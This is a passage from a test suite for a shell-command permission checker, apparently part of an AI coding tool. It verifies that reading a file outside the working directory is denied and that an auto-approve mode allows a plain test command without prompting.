  it('checks paths against the tool cwd when given', async () => {
    const { permissions, ask } = makePermissions();
    permissions.getManifest().capabilities.shell.cwdOnly = false;
    permissions.getManifest().capabilities.filesystem.scopes = [];
    await expect(permissions.checkShellCommand('cat ../x.txt', { cwd: '/work/project/sub' })).resolves.toMatchObject({ allowed: false });
    expect(ask).toHaveBeenCalledTimes(1);
  });

  it('allow-all still approves anything not hard-blocked, through the approval lane', async () => {
    const { permissions, ask } = makePermissions();
    permissions.setCurrentContext('cli', 'cli');
    permissions.setAutoApproveAll(true);
    await expect(permissions.checkShellCommand('npm test | tee out.txt')).resolves.toMatchObject({ allowed: true, lane: 'shell' });
    expect(ask).not.toHaveBeenCalled();
  });
});